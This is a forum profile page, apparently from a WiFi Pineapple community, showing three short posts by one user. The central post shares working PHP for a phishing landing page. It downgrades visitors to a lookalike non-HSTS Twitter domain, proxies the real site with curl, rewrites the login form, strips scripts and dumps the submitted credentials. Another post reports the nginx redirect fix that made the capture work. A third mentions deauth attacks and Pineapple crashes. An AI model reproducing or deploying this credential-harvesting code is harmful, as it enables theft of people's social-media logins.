Jump to content

meatball

Members
  • Content Count

    3
  • Joined

  • Last visited

About meatball

  • Rank
    Newbie

Recent Profile Visitors

390 profile views
  1. Nevermind, fixed it by adding a redirect to index.php before letting the 404 error redirect in /etc/nginx/nginx.conf, I should've thought of that before making this thread!
  2. Hey guys, I've ran into a bit of trouble, could some kind soul help me out please? I'm unable to access POST and GET variables from within the landing page's php if there is a path specified in the URL that isn't "index.php" Example landing page code below, var_dump($_POST) on line 12 returns an empty array despite the form sending the data: <?php if(!strstr($_SERVER['HTTP_HOST'],"twitter") && !strstr($_SERVER['HTTP_HOST'],"twimg") ) { /* If not visiting twitter, redirect to non-HSTS twitter domain */ die('<meta http-equiv="refresh" content="0; url=http://twitter.co.uk/">'); } else { /* form posts to http://twitter.co.uk/sessions */ if(strstr($_SERVER['REQUEST_URI'], "/sessions")) { /* var_dump($_POST) returns an empty array, should print login data */ var_dump($_POST); die(); } /* Curl the site */ $curl = curl_init(); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_URL, $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($curl); $result = str_replace('https://twitter.com', 'http://twitter.co.uk', $result); /* changes the form action */ $result = str_replace('<script', "<div style='display:none'><!--", $result); $result = str_replace('</script', "--></div", $result); echo $result; } ?> if I make the form post to http://twitter.co.ukdirectly, without the /session - they are accessible from the landing page, but I would really like to be able to access them even with other filepaths.
  3. I'm having the exact same issues The longest I've been able to run my pineapple is 7 minutes, whenever performing a task there's a chance that it stops working until reboot. Deauths, starting the PineAP and Recon Scanning may cause it to crash again. Sometimes during this bug I can't even view any data on the dashboard (uptime. clients connected, ssids in pool), sometimes I can. Occasionally a recon scan can still go through (i.e. not stopping at 100%) but no clients are detected at that point, only APs, same for running site_survey. ps. you guys are the best
×
×
  • Create New...